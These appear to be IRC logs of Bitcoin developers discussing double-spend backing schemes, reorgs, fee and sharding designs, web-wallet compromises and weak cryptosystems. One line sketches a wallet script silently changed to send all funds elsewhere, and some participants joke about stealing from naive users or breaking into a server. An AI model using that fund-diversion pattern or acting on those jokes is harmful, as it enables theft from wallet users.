17:04 < sipa> as in it means the the spending transaction, as long as the backing coin that can spend from under it, even confirmed, is not actually spendable
17:05 < sipa> or at least, losing fungibility
17:05 < sipa> (those coins would be worth less than other coins)
17:05 < sipa> as they're less certain
17:05 < tholenst> no, you can move them back to normal coins, it just takes 100 blocks
17:05 < sipa> so
17:06 < sipa> you pay me, by spending coins C1, and sending me a coin C2
17:06 < nsh> so wait, we get complete anarchy with a BBC broadcast-loop that removes all the vulgarity and orgies?
17:06 < sipa> as long as C2 is buried less than 100 blocks deep
17:06 < sipa> C1 persists in some form
17:06 < tholenst> no no, I don't send you coin C2; I send you C1, and if I double spend C1, you get to destroy C2
17:06 < sipa> C1 belongs to you, it's the original coin you had
17:07 < sipa> there's nothing special with it, and it's buried 10000 blocks deep
17:07 < tholenst> I own both C1 and C2
17:07 < sipa> wait, what?
17:07 < sipa> i'm not following
17:08 < tholenst> the idea is: in order to pay you with C1, i need to back up the payment with C2. C2 has a different PKScript, which makes it a "backing coin"
17:08 < sipa> wait, let's talk about transactions instead
17:08 < sipa> you create a transaction which spends C1, and what else?
17:08 < tholenst> ok coin = txout
17:08 < sipa> yeah
17:09 < tholenst> I give you a PubKey2-signature of "If you find 2 PK-1 signed messages you may destroy the txout C2"
17:10 < tholenst> "PK-1 signed" is supposed to mean "signed with the same key as C1 is"
17:17 < andytoshi> ok, and C2 needs to be a special invalid-for-100-blocks output?
17:18 < andytoshi> it'd be neat if you could mark outputs as "cannot be spent with fewer than N confirms"
17:18 < tholenst> yes
17:19 < andytoshi> this is cool, i definitely think it changes coin properties too much to be bolted into bitcoin, but istm that it makes sense
17:20 < sipa> istm?
17:20 < andytoshi> as sipa says, there are cases when a "double spend" is a legitimate thing to occur, so these would need to be special transactions
17:20 < andytoshi> it seems to me
17:21 < tholenst> yeah one has to be careful with it; note though that if you can wait a bit (100 blocks) with the double spend, you can first move C2
17:22 < andytoshi> yeah, the receiver of the funds would estimate how long the tx will take to confirm, and require C2 have that many "cannot spent until" ticks left
17:22 < tholenst> anyhow, I plan to write a detailed proposal... I think it's worth it even if it doesn't go into bitcoin. it would finally be some real selling point for an altcoin, imo
17:23 < andytoshi> that'd be great
17:23 < andytoshi> if you can, explore the consequences re fungibility of locking coins like this
17:23 < tholenst> can you elaborate what you mean by that?
17:24 < andytoshi> well, if some coins can be spent quickly and others can't, the quick-spendable ones are more useful
17:24 < nsh> we need an playpit/sandbox for alt-experimentation
17:24 < andytoshi> so rather than "a coin is a coin is a coin" different coins might have different values
17:24 < andytoshi> otoh if they are locked in place, it's hard to claim they have any value, so maybe it's fine
17:24 < andytoshi> nsh: perhaps BlueMatt's thing will give that to us :}
17:25 < nsh> mm, unfortunately as stands it only changes the (mostly) boring things
17:26 < tholenst> well, you just need 100 blocks to get the backing coins back into normal coins; that's not even a day wait.
17:26 < andytoshi> sure, but given that's apparently popular, i'm sure if you gave BlueMatt a patch he'd inject it into the alts for a few days
17:26 < tholenst> it seems people are already fascinated by BlueMatt's thing :)
17:26 < nsh> haha
17:26 < nsh> i suppose there's no shortage of volunteer test subjects
17:27 < andytoshi> tholenst: ok, another thing to think about is what happens if there is a reorg, and the block at which the coin becomes normal changes
17:27 < nsh> quick, before we end up with ethics panel!
17:27 < nsh> good point
17:27 < tholenst> yes, ok
17:28 < andytoshi> nsh: people releasing cryptographic software without understanding it, and then goading people into putting money into them, are evil, there's no ethical concern in fucking with them
17:28 * nsh smiles
17:30 < Luke-Jr> andytoshi: evil is evil, even if the victim is guilty of evil things themselves
17:31 < andytoshi> Luke-Jr: fair enough
17:31 < andytoshi> tholenst: so, my specific concern is: suppose a coin becomes valid at block 300000, then i spend it in the next block
17:32 < andytoshi> some reorg happens and now the coin becomes valid at block 300005
17:32 < andytoshi> what happens to my spend?
17:32 < sipa> if the coin creation is reorganized, the spending of it is certainly reorganized too!
17:32 < tholenst> maybe bad things? but for that a 100 block reorg needs to happen, and then bad thing happen anyhow
17:32 < andytoshi> sipa: that's my thought, yeah, but it makes reorgs more complicated
17:33 < sipa> i doubt it
17:33 < Alanius> andytoshi: well, as long as they use the power of argument and not of coercion, I'm not sure "evil" is the right word
17:33 < sipa> let's not go there
17:33 < nsh> +1
17:33 < sipa> andytoshi: if everything is defined within one chain, there should be no problem with reorganizations
17:33 < sipa> but i'm not sufficiently understanding the scheme
17:34 < andytoshi> well, i spend something at block 300000, but suppose suddenly it is invalid until block 300500 (this is an extreme case)
17:34 < andytoshi> so suddenly my payment is invalid, and i have a window in which to double-spend
17:34 < sipa> that cannot happen without invalidating the spend as well
17:34 < sipa> as the spend happens after the creation
17:35 < sipa> ah
17:35 < andytoshi> yeah, so this complicates analysis and i think also has consequences for fungibility of recently-valid coins
17:36 < tholenst> I am not sure i understand your problem. Do you agree this only happens if the reorg is something like 100 blocks deep?
17:36 < andytoshi> but i also suspect this is fixable while still retaining the benefits of tholenst's trickery
17:36 < andytoshi> tholenst: yeah, it'd have to be deeper than the coin's invalid-until-N-blocks count
17:36 < andytoshi> so maybe we could require all transactions which do this to have N higher than 100
17:37 < tholenst> ok, i didn't think too much about that yet.
17:37 < andytoshi> or maybe, rather than saying "invalid until 100 confirms" you say "invalid until block 300000" and hardcode the 300000
17:37 < andytoshi> then you don't care about when the tx is actually mined, so there is no concern about reorgs
17:37 < tholenst> you could do that, but then you have to renew the backing txouts periodically; I don't like that
17:38 < andytoshi> well, you'd have to do this anyway i think
17:39 < tholenst> I think it makes sense at this point if I write down the proposal in more detail.
17:39 < andytoshi> yeah, it'd be good to have something precise to discuss
17:41 < tholenst> the input was useful to me anyhow :) more to think about, ty!
17:41 < nsh> what's the distribution of reorg heights?
17:41 < nsh> any theoretical basis for calculating that, or is it near-enough empirical?
17:42 < nsh> s/heights/depths/
17:43 < tholenst> for a theoretical basis, you need to have some kind of clue how fast the block distributes among the miners
17:43 < andytoshi> nsh: (a) hard to make precise, as generally only part of the network perceives a reorg as a reorg, while the rest of them saw the winning chain first, (b) the big ones occur by implementation bugs, which are hard to predict, (c) the small ones probably are also due to network flukes which are also hard to predict, thought they might have a nice distribution
since they're frequent
17:44 * nsh nods
17:44 < nsh> but it should be possible to put a 100-block reorg into an improbability bracket
17:46 < tholenst> agreed, using only mild assumptions that should be possible
18:34 < andytoshi> nsh, tholenst: my expectation is that if you can get any number assuming no horrific forking bitcoind bugs, it'd be like 1/googol or something
18:35 < andytoshi> way way way lower than the chance of a serious dev mistake
18:35 < andytoshi> so that's the probability you need to estimate, and good luck with that :)
18:35 < nsh> pft, i crunch graham's number for breakfast
18:36 < andytoshi> it's higher than 1/graham's number ;)
18:36 < nsh> maybe late lunch then :)
19:46 < andytoshi> BlueMatt: you are "everything that is wrong with cryptos" :)
00:04 < petertodd> same issue with Bitcoin fundementally, but more likely to be a problem in practice "yeah, you see, I can't change my mining pool to prevent those stolen funds from being moved"
00:06 < amiller> how to know if you're an illegally operating MSB tip #103125: you're capable of detect and returning someone's stolen funds...
00:07 < petertodd> lol
00:08 < petertodd> "This isn't a MSB! Why fraudproofs/trusted-hardware/closed source software/The FSM stop that!"
00:10 <@gmaxwell> :)
00:11 <@gmaxwell> I hope at least some people were getting my points about building systems where _no one_ gets put in the awkward position of having to decide to protect a theif.
00:12 < amiller> i'm interested in more ideas/examples of how to encourage things-that-will-eventually-fail to fail immediately and obviously
00:12 < petertodd> gmaxwell: I'd suggest actually saying that directly...
00:12 <@gmaxwell> I thought I did!
00:12 < petertodd> I got it, I doubt even 10% of the audience did.
00:36 <@gmaxwell> " It would have been wrong of us to demand that the operator of a service turn down a well substantiated request in a case like this, it would make them a villain to the kind and honest people their decision harmed. We shouldn't create a world where people have to make choices like that."
00:37 < warren> gmaxwell: so the strongcoin guy detected the thief then modified the .js to take it? That wasn't entirely clear on the thread.
00:40 < warren> It's amazing to me that the thief would be so dumb to use a traceable wallet at all.
00:41 <@gmaxwell> I mean, being a thief suggests a prior probablity that you are not someone who makes excellent life choices.
00:42 <@gmaxwell> warren: yea, my understanding was that he just modified the script to have if(this_is_such_and_such)sendallfunds(overhere);
00:42 < warren> that's scary.
00:43 < warren> I haven't checked if my blockchain wallet as Chrome extension has been silently updating itself
00:43 <@gmaxwell> It's the expected and obvious outcome and it's what I've spent the last year trying to convince people exists on these sites.
00:43 <@gmaxwell> ...
00:43 <@gmaxwell> warren: the extension only makes sure that the site matches the github, or at least thats how it used to work.
00:43 < warren> I've been meaning to switch away from it for weeks for that reason, and also the ability to brute force attack a wallet. I strongly suspect someone downloaded all the encrypted wallets.
00:44 <@gmaxwell> yea, a lot of compromises lately and people claiming they had fairly strong keys.
00:44 < warren> I think there were two or three different blockchain wallet attacks
00:44 <@gmaxwell> there might be a vulnerability that let people bulk download the encrypted wallets. (perhaps some xss)
00:45 <@gmaxwell> (er, CSRF really)
00:45 < warren> 1) XSS or java browser exploits from clicking links on btc-e trollchat. 2) Android wallet malware and blockchain's android wallet being far less secure. 3) Weak passphrases and brute force cracking of all encrypted wallets that were downloaded.
00:46 <@gmaxwell> fwiw, I do all my webbrowsing in a seperate VM. Security is just too hard.
00:46 < warren> gmaxwell: reportedly someone is 95% through writing another js client-side encrypted wallet. he intends on open sourcing it.
00:46 < warren> yeah
00:46 <@gmaxwell> ::Sigh:: sounds like another instawallet waiting to happen. :P
00:46 < warren> sadly there seems to be something wrong with kvm. It's wayyyy slower than a few months ago.
00:46 <@gmaxwell> People are really too easily convinces that JS wallets are completely secure.
00:47 <@gmaxwell> weird. Working fine for me.
00:47 < warren> not sure what's going on
00:47 <@gmaxwell> s/convinces/convinced/
00:48 < warren> He's writing it for Litecoin, but will launch it for both
00:48 < warren> Litecoin idiot factor is a bit higher ... and MtGox confirmed today that they will launch Litecoin real soon. https://mtgox.com/pdf/20130424_ddos_statement_and_faq.pdf
00:48 <@gmaxwell> why doesn't he just take the blockchain.info code?
00:49 < warren> not sure, it has no copyright or license notices, suggesting it is on github only to allow auditing?
00:49 < warren> Litecoin remains unmaintained. I really want to work on it but too busy. I volunteered to help the professor finish her book before the June 1st deadline.
00:49 <@gmaxwell> oh, hm. I thought it was liberally licensed, I got yelled at by piuk for calling it propritary.
00:49 < warren> oh?
00:50 <@gmaxwell> as far as litecoin goes... ... tell mtgox that they want to pay you to work on it, and perhaps then you could justify some more time?
00:50 <@gmaxwell> if they're trading it .. and litecoin goes explody it could turn out quite bad for them.
00:50 < warren> I seriously doubt they would pay me.
00:51 < warren> well, it could go explody even if maintained
00:51 <@gmaxwell> sure, more likely to if unmaintained.
00:51 <@gmaxwell> I mean, other altcoins have had enormous rewrite attacks in order to exploit exchanges.
00:51 <@gmaxwell> and those exchanges are no longer in business anymore.
00:52 < warren> Litecoin remains vulnerable to the BDB lock limit self-consistency issue now.
00:53 < warren> gmaxwell: how is your relationship with mtgox? could you suggest this?
00:53 < amiller> oh wow litecoin is being added to mtgox?
00:53 < warren> amiller: yes. seems premature and risky to me.
00:53 < amiller> i actually did *not* suspect an altcoin would catch on... like this...
00:53 < amiller> crazy times
00:54 <@gmaxwell> magicaltux was saying it was a joke a few weeks ago. I suspect it was a joke and then it got a positive response from someone relevent.
00:54 < warren> I'm not invested in Litecoin. I'm interested in developing it because 1) they're hurting for devs 2) I want to prove anti-spam policies that Bitcoin seems unwilling to adopt.
00:55 <@gmaxwell> A friend that has some of my old gpus is mining litecoin, ... he went through three pools before finding one that wasn't just robbing him blind.
00:56 <@gmaxwell> (I suspect his anti-samdar is not very finely tuned!)
00:56 < warren> There are honest litecoin pools. Trouble is they get killed by DDoS often.
00:56 < warren> p2pool is the most reliable way to mine it.
00:57 <@gmaxwell> yea, I think he was on one that got dos killed first, and then switched to something else that just never paid him at all... and then another one which was giving him about 10% of what he should have been getting... and then one that went offline with positive balances.
00:57 < warren> Trouble with p2pool though is the dust + litecoin's super high fees. I tried to convince forrest to reduce the number of shares in the next p2pool hardfork as the current dust size is unusably small. He isn't budging.
00:58 <@gmaxwell> people can turn up their share difficulty if they're prefer to not get dust.
00:59 < warren> My maximum 100% efficiency dust size is too small.
00:59 < warren> I had to abuse 7 10KB free tx's to combine a thousand of them yesterday.
00:59 < warren> (maybe not a thousand, a few hundred, dunno)
01:00 <@gmaxwell> huh? changing you share difficulty shouldn't have anything to do with your efficiency!
01:01 < warren> What difficulty factor are you suggesting?
01:01 < warren> 5x less often?
01:02 <@gmaxwell> however much makes it so you don't get paid in every block
01:03 < warren> It allows a maximum of 10x
01:03 < warren> which isn't high enough to do that
01:03 <@gmaxwell> ah, well that seems like an issue.
01:03 <@gmaxwell> it should be claimed not on the up side but on the down side.. e.g. it shouldn't get you set it to more than 1/50th of a block or something.
01:04 < warren> It really isn't clear why Litecoin has such exchange value. There's NO VENDORS.
01:05 <@gmaxwell> it's speculation
01:05 <@gmaxwell> duh
01:05 < warren> were you serious about asking mtgox to sponsor dev?
01:05 < warren> Not a weekend bounty, like payouts every 3 months as long as progress is made.
01:05 <@gmaxwell> I was, I have no clue if they'll do it
if they're not already doing it they're morons... given that they're morons, ::shrugs::
01:07 < warren> I'm 60% convinced the hash is a risk.
01:07 <@gmaxwell> know of any online namecoin wallets that support importing private keys? I have some nmc to rid myself of and don't really feel like starting up a namecoin node....
01:07 < warren> It seems implausible that someone would invest money to destroy it though. They could just extract outsized profits.
01:08 < warren> nope
01:08 < warren> heading to class, bbl
01:54 < petertodd> re: litecoin a silkroad clone started up recently that denominates in litecoin by default
01:55 < amiller> https://gist.github.com/amiller/cf9af3fbc23a629d3084 i summarized my above points about fees and contention here
01:58 < petertodd> Hmm... one odd thing about coinbase tx's is they can-not have non-generation inputs. If you allowed that, and made them an exception to the usual rule that you can-not spend a coinbase, your equilibrium creating behavior can be done, paying part of the fee to the next miner, and yet still avoid the mess of a re-org canceling coinbases.
01:59 < petertodd> The fee you give to the next miner would basically be an anyone-can-spend output from the coinbase tx.
01:59 < amiller> righteous
02:00 < petertodd> yup
02:00 < petertodd> but it's late here, night
02:00 <@gmaxwell> or you do what I suggested before
make uncollected fees spill forward and you avoid all the weird maturity restrictions
02:01 < petertodd> gmaxwell: makes proofs that the block is correct potentially unbounded in size
02:01 < amiller> no you'd just have everyone keep a counter in their state
02:02 < petertodd> hmm, yeah, I'll think on that, but later
02:06 <@gmaxwell> petertodd: nah, doesn't, you just make the payforward accumulator part of the header.
04:39 < warren> gmaxwell: coblee is concerned about taking donations/sponsorship to help dev because that may create expectations or implied liability
22:10 < amiller> i'm just saying that including it in a storage proof of work puzzle of some kind is an approach to getting replication, which is closer to what you want than just paying one service specific
22:11 < petertodd> Problem is replication factor is a human thing, and it *can't* be proven with a proof-of-work. Sure you can make a storage hard proof-of-work that kinda sorta implies it, but it tells us nothing about how many data centers need to burn down.
22:12 < amiller> the point is i agree that the cool thing about this is that it's not the network's problem if your old data is forgotten, and it can be up to the individual user to take appropriate precuations to pay people to store the relevant data in the right way
22:12 < amiller> we're all in fierce agreement here
22:12 < petertodd> I suspect in reality the "pay to get my txout mined" is more than sufficient to get at least a dozen full copies out there, and remember that if you leave your computing running, even as a partial node, you can both contribute to the validation effort and keep the proofs for yoru txouts up-to-date.
22:12 < gmaxwell> yea, and it's tricky to not create huge outsourcing or consolidation benefits that way. amiller: your best solution against outsourcing requires some pretty tricky economic reasoning on the part of miners which is currently disproven by existing practice (not just in bitcoin but in every place humans transact
no one ever demands cryptographic proof of anything)
22:12 < amiller> insertion-order-sorted merkle tree is outstandingly cool in this regard
22:13 < amiller> or MMR if you prefer :3
22:13 < gmaxwell> petertodd: well and a logical thing is to also include kind of DHTish recovery service. E.g. randomly keep X gbytes worth of data, so you can have a chance to partake in people paying for recovery.
22:13 < petertodd> Ha, hey, I dedicated Merkle Mountain Ranges to all the hikes in the Canadian Rockies I've had with my dad, so I'm fighting to make the name stick. :P
22:14 < amiller> i'm okay with that :)
22:14 < petertodd> amiller: Hey, at least I didn't call it Todd Trees.
22:14 < amiller> lol
22:14 < gmaxwell> amiller: MMR also implies that you care about the cheap insert rule. :)
22:14 < petertodd> gmaxwell: Yeah, and the "DHT" in this case needs nothing more than sipa's block ranges really - it'd be a long time before the DHT actually needs routing.
22:15 < amiller> i'll consider that MMR refers to not just the data structure but all the implied good properites it has :)
22:15 < gmaxwell> petertodd: yea, locality is good as it reduces the storage and computation required.
22:16 < gmaxwell> I wish sharding it were easier, but there are weird fungibility problems with sharding.
22:16 < petertodd> gmaxwell: I'm pretty sure I can do a sharding scheme that doesn't have fungibility issues actually, although it will have scary fraud issues.
22:17 < gmaxwell> you are not helping my confidence there!
22:17 < petertodd> gmaxwell: It'd also have 51% attack issues given we need a market for transaction fees... although I think with my "per-tx pow" scheme and some proof-of-stake sprinkled in it just barely works...
22:18 < gmaxwell> it works if you have a hierarchal currency. E.g. a master coin that everyone validates. And then shard coins. And you can only spend within shards and between shards and master. But that hurts fungibility.
22:18 < petertodd> gmaxwell: Yes, multiple currencies makes it really easy. I think on the forum I gave the toy example of a circular set of currencies, where mining always mined an adjacent pair basically.
22:19 < petertodd> (good post to timestamp come to think of it...)
22:20 < amiller> i'm beginning to think even fungibiility doesn't matter asm uch
22:20 < amiller> one thing i've been worrying about with, say, ripple or color coin currencies is how you pay the miners if they don't care about your currency
22:21 < amiller> but you *don't* have to pay all the miners, you only need to pay enough of them
22:21 < amiller> you can mine your own irrelevant transactions if you can afford the cpu but no one else likes your currency
22:21 < amiller> the more broadly valuable your sillycoins are the easier it is to convince all the miners to include it
22:22 < petertodd> amiller: With wallet support it'd be easy enough to paper over the fungibility problems by just trying hard to keep the user's wallet well balanced, and accepting that some transactions take a few more confirms.
22:22 < amiller> sure
22:22 < amiller> you can have an automated portfolio of colored coins too
22:22 < petertodd> amiller: Someone more versed in graph theory than me could probably come up with some scheme where you have log(n) steps to spend any coin.
22:23 < amiller> you could have an altcoin that had proof of work mining, no startup bonus, only self issued currencies, and fees are just paid in IOUcoins of any user's discretion
22:24 < amiller> the only problem is that we don't have much reason yet to be confident that the whole consensus thing works with the current system with all the block bonuses removed
22:24 < petertodd> amiller: Well, do you understand my circularly set of pair-wise-mined currencies example?
22:24 < petertodd> amiller: You can still have block bonuses their.
22:25 < amiller> block bonuses are gonna go away anyway so the question is are voluntary transactions fees just to the miner good enough
22:25 < amiller> i like the idea that eventually you'll have to bribe the next miner to build on your block rather than 'discouraging' it
22:26 < petertodd> Yeah, and anyway to make such schemes work we have to get fraud proofs to work well, and I think right now TXO commitments are the logical way to do that...
22:28 < petertodd> One interesting thing about all this stuff, is suppose we got a nice, shardable, ultra-decentralized currency: I suspect we'd want a token system, with fixed values, so that the transactions related to the lowest value tokens moving around can be reglegated to the lowest security chain.
22:28 < petertodd> Otherwise the whole thing just becomes a nice way to instant-message your friends...
22:28 < amiller> petertodd, no the trick is insurance
22:28 < amiller> i sort of have an idea of how navigating the multi hierarchy currency works
22:29 < amiller> the main questions is how you exchange value from a small currency to a larger one
22:30 < amiller> like even if you have a locally-meaningful currency, it's still beneficial to have a broader audience observe the transactions
22:30 < petertodd> See, I'm thinking of a system where for a long, long time, the "1 satoshi" chain has basically no attention paid to it so fraud is rampant and people don't trade in single satoshis.
22:31 < petertodd> Because if you *can* cheaply trade in single satoshis, securely, then what stops me from timestamping everything? At some point something needs to break down, and there needs to be some way to "communicate" back the cost of the whole system to it's users.
22:31 < petertodd> There Ain't No Such Thing As A Free Lunch!
22:32 < amiller> i think we vaguely agree again :)
22:32 < gmaxwell> shard by txout value.. interesting.
22:32 < gmaxwell> but that creates a linear hieararchy which is kinda lame.
22:32 < petertodd> Yeah, I think it'd probably work best with some kind of storage-hard proof-of-work, especially if it can somehow be directly related to validation.
22:33 < petertodd> gmaxwell: Maybe it doesn't need to be linear? Maybe it's just opportunisticly sharded, IE you mine whatever part of the UTXO set that you want too, and we use fraud proofs to keep people honest.
22:33 < petertodd> A worthless chain won't have many people actually validating it, so every so often someone will get away with fraud, or the data will get lost and coins will become unspendable.
22:34 < petertodd> Conversely the 2^32 satoshi chain is actually economically important, and it's basically impossible to get away with fraud.
22:34 < amiller> sorry in advance for the following ramble but just be glad it's not in bitcoin-dev
22:34 < petertodd> All those chains can operate in lock-step too, so atomic transactions are still possible. (though exchanging a 2x 1 satoshi tokens for a 2 satoshi token won't be possible)
22:34 < amiller> what strikes me as really strange is that with the bribery/incentive/rational modeling it seems like we're headed towards a system that works even if people just do wahtever benefits them
22:35 < amiller> what's the role of the protocol or constitution in that case?
22:35 < amiller> what's even the need for a correct set of rules if following them is optional but just benficial by default somehow
22:35 < amiller> and i wonder if the explanation is that it's arbitrage of some kind between two kinds of rationality
22:35 < amiller> there's like the immediate greedy decision that you'd make fully anonymously
22:36 < amiller> and a separate kind of policy that you want to enforce on everyone else
22:36 < amiller> like it's easy to show support for a certain rule when it's probably not going to affect you anyway, like by building on someone else's block
22:37 < petertodd> I'll warn you, I'm this close to inviting you to #postmodern-bitcoin... :P
22:37 < amiller> likewise it's easy to deviate from the rule when the benefit is clear
22:37 < amiller> yeah well
22:37 < petertodd> heh, though go on :P
22:38 < amiller> that was the end of the thought i guess
22:38 < amiller> sometimes there's a new datastructure at the end, not this time
22:39 < petertodd> gmaxwell: Oh, and you know, what's really interesting with multiple powers of two token chains is that MMR TXO commitments are the perfect data structure for them, given the mandatory data required to mine a new block is very small, and they can continue even if all the data is lost.
22:40 < gmaxwell> well.. there is less need to shard if full verifying requires little state.. the primary advantage is potential bandwidth.
13:01 < gmaxwell> Things like that crop up all over the place, we get them in Bitcoin... they show up in any sufficiently large piece of software or hardware design. In digital electronics you'll sometimes have problems when analog effects that you thought you could ignore crop up.
13:02 < Emcy> obviously its not such a big problem as i think then
13:02 < Emcy> are there any cryptosystems that are unkowable in full by human mind?
13:03 < gmaxwell> Well...
13:04 < gmaxwell> We depend on knowing the thing in order to make arguments for its security. Modern cryprosystems are build out of simple regular parts. Otherwise if you make something too complex you'll miss a weakness which will be obvious to someone who 'looks at it from another angle'.
13:04 < gmaxwell> So all the primitives we use are quite simple and straighforward.
13:05 < gmaxwell> Though in more recent times people have been building taller towers, systems which are only simple if you abstract away the details.
13:05 < Emcy> but they dont always interact in the way you think they should.
13:06 < Emcy> perhaps one day we will throw together enough primitives that it will turn around and ask us for clemency.....
13:09 < andytoshi> Emcy: there is a good lesson about this in the history of tls
13:10 < andytoshi> http://blog.cryptographyengineering.com/2012/09/on-provable-security-of-tls-part-2.html
13:12 < Emcy> im sure it is provably secure, the auth part is letting it down badly though these days
13:13 < andytoshi> that link has a short blurb about the MAC fiasco in the 90's
13:14 < Emcy> wots taht
13:14 < Emcy> nm ill read
13:15 < andytoshi> it's a classic "things interact in surprising ways when you pile them on" story
13:15 < andytoshi> and the complexity of that probelm was not even very high..
13:17 < Emcy> from what ive seen almost no servers still dont use tls 1.2
13:18 < andytoshi> yeah, i don't think browsers will even accept tls 1.0
13:18 < Emcy> i always thought people used old shit because its been in the trenches longer than new shit.
13:19 < Emcy> i saw a server with tls 1.0 and 1024 rc4 or something recently
13:20 < Emcy> thats pretty bad
13:22 < Emcy> jesus christ it just rained the hardest its ever rained around here in 30 years
13:22 < Emcy> it was raining upwards.......
13:22 < Emcy> wall of water
13:23 < andytoshi> well, i am off to the airport, good talking to you guys
13:24 < Emcy> good flight
13:24 < Emcy> oh
13:34 < Emcy> god dammit planetside 2 has been down for hours
13:35 < Emcy> i spose thats why its free
13:56 < nsh> andytoshi, your link on tls -- reminds me of that scene from one of the hitch-hiker's guide books...
13:56 < nsh> "Arthur goes to the village. He finds a woman seer who swats at flies in front of a cave. She smells horrible. She does her dead goat-like animals. He helps her take her photocopy machine out into the sun because it is solar-powered. She hands the photocopies to him. It is the story of her life. He should read it and not make the decisions she made to end up alone..."
13:56 < nsh> ( http://www.bookrags.com/studyguide-mostly-harmless/chapanal005.html )
13:57 < nsh> someone should teach a remedial history of the internet, annotated at every point where we fucked it up
13:57 < nsh> in case we get a chance to start over at some point :)
14:51 < eclark> what do you think of **********DOGE*********
14:57 * nsh looks at eclark pointedly
16:59 <@gmaxwell> andytoshi, luke: I went and posted the description of my attack on that cryptosystem. (since he tried and didn't figure it out and asked me to explain it)
17:03 < jtimon> gmaxwell do you have a link?
17:05 <@gmaxwell> jtimon: https://bitcointalk.org/index.php?topic=374085.0
17:07 < jtimon> thanks
17:24 < nsh> i don't really understand the assumption that you'd want to have much correspondence with someone you just performed a pseudoanonymous one-time transaction with. i rarely feel the urge to call the hot-dog stand for a chat...
17:26 < helo> maybe authentication to some service that the one-time transaction paid for
17:26 < nsh> mmm
17:34 < helo> people generally handle their bitcoin private keys more securely than most other kinds of private keys, so services that are cobbled together ontop of bitcoin's PKI smell ultra-secure
17:36 < BlueMatt> heh, shit...they recovered rsa pgp private keys from the noise a cpu makes...
17:36 < nsh> yeah, was reading about that today
17:41 <@gmaxwell> BlueMatt: none of the crypto we use for bitcoin is timing/power side channel immune.
17:41 <@gmaxwell> I don't believe there exists constant time implementations of the primitives for secp256k1 at all right now.
17:41 < BlueMatt> gmaxwell: I didnt think they were, I just found this particular paper fun
17:42 < nsh> i wonder how much of the efficiency advantage of EC is lost with constant time primitives...
17:43 <@gmaxwell> nsh: the curve25519 stuff is constant time, and stupid fast... but its partly a result of having picked parameters with that in mind.
17:43 < nsh> hmmm, okay
17:44 < nsh> i wish djb would release the minimaLT code :/
18:06 <@gmaxwell> dear god.
18:06 <@gmaxwell> this guy is wasting unbounded amounts of my time in private message.
18:07 < BlueMatt> so ignore him?
18:07 < BlueMatt> or limit your bw
18:07 <@gmaxwell> I had hoped that I'd not be able to waste any time on him by dispatching luke to respond on the threat, but that ended up like a cesium / water reaction.
18:07 <@gmaxwell> s/threat/thread/
18:08 <@gmaxwell> dude is convinced he's going to revolutionize bitcoin with his grand ideas, but his only expirence is with bc.i.
18:08 <@gmaxwell> and he's all confused about how bitcoin works.
18:08 <@gmaxwell> and every exchange I have with him is revealing another understanding.
18:09 <@gmaxwell> like after message 6 I discover that he's planning on 'solving' the problem that the "messages in transactions are cleartext".
18:09 * nsh chuckles
18:09 < maaku> gmaxwell: there are a dozen people on bitcointalk like that
18:09 < maaku> if only the ignore bit were an option :\
18:09 <@gmaxwell> And the idea that a business that ships out goods to people would generate a new address for each payment seems to be completely foreign to him.
18:10 < BlueMatt> maaku: a dozen? really? theres like a few thousand...
18:10 < maaku> heh
18:10 <@gmaxwell> I could ignore him but I don't want him going and fucking stuff up with his earnest enthusiasm.
18:11 < nsh> there should be a crypto playpen tarpit for people
18:11 * maaku fully expects him to find some inestor willing to throw insane amount of money at his ideas
18:12 < BlueMatt> or...we could just let people implement dumb crypto primitives, and use idiots to steal coins from
18:14 <@gmaxwell> part of the problem, of course, is that even the broken and dumb ones are seldom so bad as to enable theft.
18:15 < BlueMatt> yup
18:15 <@gmaxwell> like
this guys busted ass cryptography still would take 2^64 queries to a decryption oracle to crack one message. Even if someone had convinced him to reduce the mac to 32 bits, it likely would have only rarely been a pratical attack.
18:16 <@gmaxwell> he also thinks he can do things with transaction "from" addresses.
18:16 < BlueMatt> how much would it cost to put an ad on bitcointalk that just says "THERE IS NO FROM ADDRESS, GET THAT THROUGH YOUR HEAD, IF YOU DONT GET IT, GO AWAY"
18:17 < nsh> ehehe
18:17 <@gmaxwell> BlueMatt: I wonder what the revenue stream from bc.i is? It can't be that great if its really just the ads and they don't have income from spying on people or whatever.
18:18 <@gmaxwell> We could raise money to buy it and shut it down.
18:18 <@gmaxwell> Without notice.
18:18 < BlueMatt> they have pretty reasonable vc funding iirc
18:18 < BlueMatt> so...they must have some business model, somewhere
18:18 <@gmaxwell> And a full screen "HA HA WE TOOK YOUR MONEY, YOU WERE AN IDIOT FOR USING A CENTERALIZED SERVICE"
18:18 <@gmaxwell> darn
18:18 < BlueMatt> even if its "down the road, we..."
18:18 <@gmaxwell> (3) profit.
18:21 < maaku> money up for grabs: https://telegram.org/crypto_contest
18:23 < maaku> http://core.telegram.org/techfaq
18:24 <@gmaxwell> uh.
18:24 <@gmaxwell> that seems really dishonest to me.
18:25 <@gmaxwell> it looks like the security is dependant on their server handing out the correct keys.
18:25 < BlueMatt> they claim you can also do dh p2p and then compare some image that represents the shared key or something
18:25 * BlueMatt didnt read closely, it just said "compare image after dh exchange"
18:28 <@gmaxwell> I wonder why they're using sha1, especially when they need 512 bits of KDF.
18:48 <@gmaxwell> I see that news.ycombinator.com has similar thoughts to me, https://news.ycombinator.com/item?id=6931457
18:51 < nsh> "Yeah, it's probably against the rules of the competition and will get you arrested if you try. But I think if someone does break into their central server and wins the competition that way, they should still be paid out."
18:51 < nsh> i like those odds!
18:53 * gmaxwell contemplates that google search you did earlier today in #bitcoin ... :P
18:54 * nsh smiles
18:55 <@gmaxwell> hm. I was trying to see what their physical location was, and it seems to be run by totally anonymous parties?
18:57 < nsh> can you sell on the google play store anonymously?
18:58 < nsh> LLCs are registered, but anyone can call themselves X LLC https://play.google.com/store/apps/developer?id=Telegram++LLC
19:00 < nsh> possibly William / Jordan A Baker http://trademarks.justia.com/860/10/telegram-86010749.html
19:00 < nsh> (no mention of encryption in the trademark application though)
19:01 < nsh> ( http://companies.findthecompany.com/l/32066563/Telegram-Llc-in-Wilmington-DE )
19:43 < adam3us> hmm this coinmessage thread is locked so i cant join in! i was going to explain that what the sender claims is R.x from R=rP can be s st there is no solution to s=f(x) ie s is not on the curve. he doesnt seem to get that (re comments about s being > n)
14:12 < gmaxwell> making it somewhat small means that from day 1 people would need to vote to keep the size up, thats probably good.
14:12 < gmaxwell> e.g. you want to actually make the minimum smaller than the current need so the need to vote doesn't surprise people later.
14:13 < petertodd> The thing is a non-vote is always a vote for the status quo, so people *don't* need to vote if they are happy.
14:13 < petertodd> (or just want the limit to reduce a bit)
14:13 < gmaxwell> petertodd: how do you vote for a reduction?
